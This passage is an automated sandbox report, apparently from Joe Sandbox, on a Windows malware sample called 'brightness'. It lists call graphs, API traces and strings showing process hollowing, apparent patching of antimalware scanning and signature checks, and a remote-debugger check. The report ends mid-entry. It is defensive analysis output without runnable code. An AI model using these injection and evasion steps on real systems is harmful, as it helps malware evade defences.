                                                                                                                                                          control_flow_graph 6883 2908c26-2908c2b 6885 2908c30-2908c35 6883->6885 6885->6885 6886 2908c37-2908d1e call 28f4990 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c 6885->6886 6917 2908d24-2908dff call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c 6886->6917 6918 290a76f-290a7d9 call 28f4500 * 2 call 28f4c60 call 28f4500 call 28f44dc call 28f4500 * 2 6886->6918 6917->6918 6962 2908e05-290912d call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f30d4 * 2 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4de0 call 28f4df0 call 2908654 6917->6962 7071 29091a0-29094c1 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f46d4 * 2 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f2ee0 call 28f2f08 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c GetThreadContext 6962->7071 7072 290912f-290919b call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c 6962->7072 7071->6918 7180 29094c7-290972a call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 29082cc 7071->7180 7072->7071 7253 2909730-2909899 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 290853c 7180->7253 7254 2909a37-2909aa2 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 7180->7254 7344 29098c3-290992e call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 7253->7344 7345 290989b-29098c1 call 2907a2c 7253->7345 7279 2909aa8-2909c28 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 2907a2c 7254->7279 7280 2909aa3 call 290889c 7254->7280 7279->6918 7385 2909c2e-2909d27 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 2908b38 7279->7385 7280->7279 7355 2909934-2909a35 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 2907a2c 7344->7355 7383 290992f call 290889c 7344->7383 7345->7355 7355->7279 7383->7355 7436 2909d29-2909d76 call 2908a30 call 2908a24 7385->7436 7437 2909d7b-290a76a call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 2907d78 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 2907d78 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c SetThreadContext NtResumeThread call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f2c2c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 2908818 * 3 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 2908818 * 2 call 28f4860 call 28f49a0 call 28f47ec call 28f49a0 call 2908818 call 28f4860 call 28f49a0 call 28f47ec call 28f49a0 call 2908818 * 5 call 28f4860 call 28f49a0 call 28f47ec call 28f49a0 call 2908818 call 28f4860 call 28f49a0 call 28f47ec call 28f49a0 call 2908818 call 28f4860 call 28f49a0 call 28f47ec call 28f49a0 call 2908818 call 28f4860 call 28f49a0 call 28f47ec call 28f49a0 call 2908818 call 2907f4c call 2908818 * 2 7385->7437 7436->7437 7437->6918
                                                                                                                                                          APIs
                                                                                                                                                            • Part of subcall function 0290889C: LoadLibraryA.KERNEL32(00000000,00000000,02908983), ref: 029088D0
                                                                                                                                                            • Part of subcall function 0290889C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02908983), ref: 029088E0
                                                                                                                                                            • Part of subcall function 0290889C: GetProcAddress.KERNEL32(74AE0000,00000000), ref: 029088F9
                                                                                                                                                            • Part of subcall function 0290889C: FreeLibrary.KERNEL32(74AE0000,00000000,0294B388,Function_0000662C,00000004,0294B398,0294B388,000186A3,00000040,0294B39C,74AE0000,00000000,00000000,00000000,00000000,02908983), ref: 02908963
                                                                                                                                                            • Part of subcall function 02908654: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 029086E0
                                                                                                                                                          • GetThreadContext.KERNEL32(000008D8,0294B420,ScanString,0294B3A4,0290A7F4,UacInitialize,0294B3A4,0290A7F4,ScanBuffer,0294B3A4,0290A7F4,ScanBuffer,0294B3A4,0290A7F4,UacInitialize,0294B3A4), ref: 029094BA
                                                                                                                                                            • Part of subcall function 029082CC: NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 0290833D
                                                                                                                                                            • Part of subcall function 0290853C: NtUnmapViewOfSection.NTDLL(?,?), ref: 029085A1
                                                                                                                                                            • Part of subcall function 02907A2C: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02907A9F
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: LibraryMemoryVirtual$AddressAllocateContextCreateFreeHandleLoadModuleProcProcessReadSectionThreadUnmapUserView
                                                                                                                                                          • String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
                                                                                                                                                          • API String ID: 2852987580-51457883
                                                                                                                                                          • Opcode ID: cb680cc191b540f3b9fa65fe0b391f062af2890415586adef3c24677adfefeb7
                                                                                                                                                          • Instruction ID: 67569d49dbcce7d03fa1bfa276f2e3162e3c1c3f6e406b03dedd8c10e72d4a1b
                                                                                                                                                          • Opcode Fuzzy Hash: cb680cc191b540f3b9fa65fe0b391f062af2890415586adef3c24677adfefeb7
                                                                                                                                                          • Instruction Fuzzy Hash: 92E2E13DB0421D9FDB51EB68D8D0ACF73BAAF85300F5081A29705DB254DA34EE858F96
                                                                                                                                                          Function 028F5ACC Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184registrystringlibraryCOMMON
                                                                                                                                                          Download Yara Rule

                                                                                                                                                          Control-flow Graph

                                                                                                                                                          • Executed
                                                                                                                                                          • Not Executed
                                                                                                                                                          control_flow_graph 10910 28f5acc-28f5b0d GetModuleFileNameA RegOpenKeyExA 10911 28f5b4f-28f5b92 call 28f5908 RegQueryValueExA 10910->10911 10912 28f5b0f-28f5b2b RegOpenKeyExA 10910->10912 10917 28f5bb6-28f5bd0 RegCloseKey 10911->10917 10918 28f5b94-28f5bb0 RegQueryValueExA 10911->10918 10912->10911 10913 28f5b2d-28f5b49 RegOpenKeyExA 10912->10913 10913->10911 10916 28f5bd8-28f5c09 lstrcpynA GetThreadLocale GetLocaleInfoA 10913->10916 10919 28f5c0f-28f5c13 10916->10919 10920 28f5cf2-28f5cf9 10916->10920 10918->10917 10921 28f5bb2 10918->10921 10923 28f5c1f-28f5c35 lstrlenA 10919->10923 10924 28f5c15-28f5c19 10919->10924 10921->10917 10925 28f5c38-28f5c3b 10923->10925 10924->10920 10924->10923 10926 28f5c3d-28f5c45 10925->10926 10927 28f5c47-28f5c4f 10925->10927 10926->10927 10928 28f5c37 10926->10928 10927->10920 10929 28f5c55-28f5c5a 10927->10929 10928->10925 10930 28f5c5c-28f5c82 lstrcpynA LoadLibraryExA 10929->10930 10931 28f5c84-28f5c86 10929->10931 10930->10931 10931->10920 10932 28f5c88-28f5c8c 10931->10932 10932->10920 10933 28f5c8e-28f5cbe lstrcpynA LoadLibraryExA 10932->10933 10933->10920 10934 28f5cc0-28f5cf0 lstrcpynA LoadLibraryExA 10933->10934 10934->10920
                                                                                                                                                          APIs
                                                                                                                                                          • GetModuleFileNameA.KERNEL32(00000000,?,00000105,028F0000,0291E790), ref: 028F5AE8
                                                                                                                                                          • RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,028F0000,0291E790), ref: 028F5B06
                                                                                                                                                          • RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,028F0000,0291E790), ref: 028F5B24
                                                                                                                                                          • RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 028F5B42
                                                                                                                                                          • RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,028F5BD1,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 028F5B8B
                                                                                                                                                          • RegQueryValueExA.ADVAPI32(?,028F5D38,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,028F5BD1,?,80000001), ref: 028F5BA9
                                                                                                                                                          • RegCloseKey.ADVAPI32(?,028F5BD8,00000000,?,?,00000000,028F5BD1,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 028F5BCB
                                                                                                                                                          • lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 028F5BE8
                                                                                                                                                          • GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 028F5BF5
                                                                                                                                                          • GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 028F5BFB
                                                                                                                                                          • lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 028F5C26
                                                                                                                                                          • lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 028F5C6D
                                                                                                                                                          • LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 028F5C7D
                                                                                                                                                          • lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 028F5CA5
                                                                                                                                                          • LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 028F5CB5
                                                                                                                                                          • lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 028F5CDB
                                                                                                                                                          • LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 028F5CEB
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
                                                                                                                                                          • String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
                                                                                                                                                          • API String ID: 1759228003-2375825460
                                                                                                                                                          • Opcode ID: a6c78ca6f48611395a507d999f400ea91cb8a2521ed7642ead4d3760b49cd47c
                                                                                                                                                          • Instruction ID: 6af000a09ffe07b36c0fcf3e91767cae33e707c6a7b55c9c501a897eb4791729
                                                                                                                                                          • Opcode Fuzzy Hash: a6c78ca6f48611395a507d999f400ea91cb8a2521ed7642ead4d3760b49cd47c
                                                                                                                                                          • Instruction Fuzzy Hash: 7951887DA4025CBEFB61D7E8CC46FEF77AD9B04744F8001A1AB09E6181D7789A448FA1
                                                                                                                                                          Function 02908818 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40libraryloaderCOMMON
                                                                                                                                                          Download Yara Rule

                                                                                                                                                          Control-flow Graph

                                                                                                                                                          • Executed
                                                                                                                                                          • Not Executed
                                                                                                                                                          control_flow_graph 13166 2908818-290883d LoadLibraryW 13167 2908887-290888d 13166->13167 13168 290883f-2908857 GetProcAddress 13166->13168 13169 2908859-2908878 call 2907d78 13168->13169 13170 290887c-2908882 FreeLibrary 13168->13170 13169->13170 13173 290887a 13169->13173 13170->13167 13173->13170
                                                                                                                                                          APIs
                                                                                                                                                          • LoadLibraryW.KERNEL32(bcrypt,?,000008D8,00000000,0294B3A4,0290A43F,ScanString,0294B3A4,0290A7F4,ScanBuffer,0294B3A4,0290A7F4,Initialize,0294B3A4,0290A7F4,UacScan), ref: 0290882C
                                                                                                                                                          • GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02908846
                                                                                                                                                          • FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,000008D8,00000000,0294B3A4,0290A43F,ScanString,0294B3A4,0290A7F4,ScanBuffer,0294B3A4,0290A7F4,Initialize), ref: 02908882
                                                                                                                                                            • Part of subcall function 02907D78: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02907DEC
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: Library$AddressFreeLoadMemoryProcVirtualWrite
                                                                                                                                                          • String ID: BCryptVerifySignature$bcrypt
                                                                                                                                                          • API String ID: 1002360270-4067648912
                                                                                                                                                          • Opcode ID: 078cd73a3aad28d3d850eb54c40bcd099b56b371747e562f3a3dfc59ef24977e
                                                                                                                                                          • Instruction ID: 3a063f987e4e6d0b5b70bb74ea6ded16a85ddab1dd4c72e852d92ab0e0456ea0
                                                                                                                                                          • Opcode Fuzzy Hash: 078cd73a3aad28d3d850eb54c40bcd099b56b371747e562f3a3dfc59ef24977e
                                                                                                                                                          • Instruction Fuzzy Hash: EEF0A479E862189EE710A77EA894F3637DCA79475CF000A29B51C87180E774D850CB14
                                                                                                                                                          Function 0290FA38 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28libraryloaderCOMMON
                                                                                                                                                          Download Yara Rule

                                                                                                                                                          Control-flow Graph

                                                                                                                                                          • Executed
                                                                                                                                                          • Not Executed
                                                                                                                                                          control_flow_graph 13183 290fa38-290fa52 GetModuleHandleW 13184 290fa54-290fa66 GetProcAddress 13183->13184 13185 290fa7e-290fa86 13183->13185 13184->13185 13186 290fa68-290fa78 CheckRemoteDebuggerPresent 13184->13186 13186->13185 13187 290fa7a 13186->13187 13187->13185
                                                                                                                                                          APIs
                                                                                                                                                          • GetModuleHandleW.KERNEL32(KernelBase), ref: 0290FA48
                                                                                                                                                          • GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 0290FA5A
                                                                                                                                                          • CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 0290FA71
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: AddressCheckDebuggerHandleModulePresentProcRemote
                                                                                                                                                          • String ID: CheckRemoteDebuggerPresent$KernelBase
                                                                                                                                                          • API String ID: 35162468-539270669
                                                                                                                                                          • Opcode ID: cda88f8623e5d0358d717babb719c046ece1d188a5f8034acb40a332142f4e15
                                                                                                                                                          • Instruction ID: 8c321acdf10ab90f53f2a3d3ef53c41749e23780cdf3283a648c6e51cfbc20a6
                                                                                                                                                          • Opcode Fuzzy Hash: cda88f8623e5d0358d717babb719c046ece1d188a5f8034acb40a332142f4e15
                                                                                                                                                          • Instruction Fuzzy Hash: FDF08C7090425CAEDB20A6F98CC8BACBBAD9B05328F6403D0A435A25E1FBB51784C695
                                                                                                                                                          Function 0290E064 Relevance: 7.6, APIs: 5, Instructions: 80nativefileCOMMON
                                                                                                                                                          Download Yara Rule

                                                                                                                                                          Control-flow Graph

                                                                                                                                                          APIs
                                                                                                                                                            • Part of subcall function 028F4F20: SysAllocStringLen.OLEAUT32(?,?), ref: 028F4F2E
                                                                                                                                                          • RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0290E134), ref: 0290E09F
                                                                                                                                                          • NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,0290E134), ref: 0290E0CF
                                                                                                                                                          • NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 0290E0E4
                                                                                                                                                          • NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 0290E110
                                                                                                                                                          • NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 0290E119
                                                                                                                                                            • Part of subcall function 028F4C60: SysFreeString.OLEAUT32(0290F798), ref: 028F4C6E
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: File$PathString$AllocCloseFreeInformationNameName_OpenQueryRead
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 1897104825-0
                                                                                                                                                          • Opcode ID: bf9ec89fc9ac726058ac28c3eecb1068d1648da09cf1f83a1d70dfb5b49e901d
                                                                                                                                                          • Instruction ID: 7f7706b8c528c748537b1ba74d70d5db20b7de90742db25c508c3106978e57fb
                                                                                                                                                          • Opcode Fuzzy Hash: bf9ec89fc9ac726058ac28c3eecb1068d1648da09cf1f83a1d70dfb5b49e901d
                                                                                                                                                          • Instruction Fuzzy Hash: C821BE75B5020CBEEB51EAE4CC86FDF77ADEB48700F500562B700F75C0DA74AA058A65
                                                                                                                                                          Function 0290E7AC Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 111networkCOMMON
                                                                                                                                                          Download Yara Rule

                                                                                                                                                          Control-flow Graph

                                                                                                                                                          APIs
                                                                                                                                                          • InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 0290E8EA
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: CheckConnectionInternet
                                                                                                                                                          • String ID: Initialize$OpenSession$ScanBuffer
                                                                                                                                                          • API String ID: 3847983778-3852638603
                                                                                                                                                          • Opcode ID: a7a1031397ae3a663ea792cd2c663e52f324e565e27f59da22b16d6eb76fe6fb
                                                                                                                                                          • Instruction ID: 7064ffa795cc1998695ba9a8c227abef7eac5c484234ca0624cc967843050da8
                                                                                                                                                          • Opcode Fuzzy Hash: a7a1031397ae3a663ea792cd2c663e52f324e565e27f59da22b16d6eb76fe6fb
                                                                                                                                                          • Instruction Fuzzy Hash: BC41033DF1010D9FEB40EBA8D880A9FB3FAEF88700F504866E651E7291DA75AD018F51
                                                                                                                                                          Function 0290DF80 Relevance: 6.1, APIs: 4, Instructions: 80nativefileCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                            • Part of subcall function 028F4F20: SysAllocStringLen.OLEAUT32(?,?), ref: 028F4F2E
                                                                                                                                                          • RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0290E052), ref: 0290DFBF
                                                                                                                                                          • NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0290DFF9
                                                                                                                                                          • NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 0290E026
                                                                                                                                                          • NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 0290E02F
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
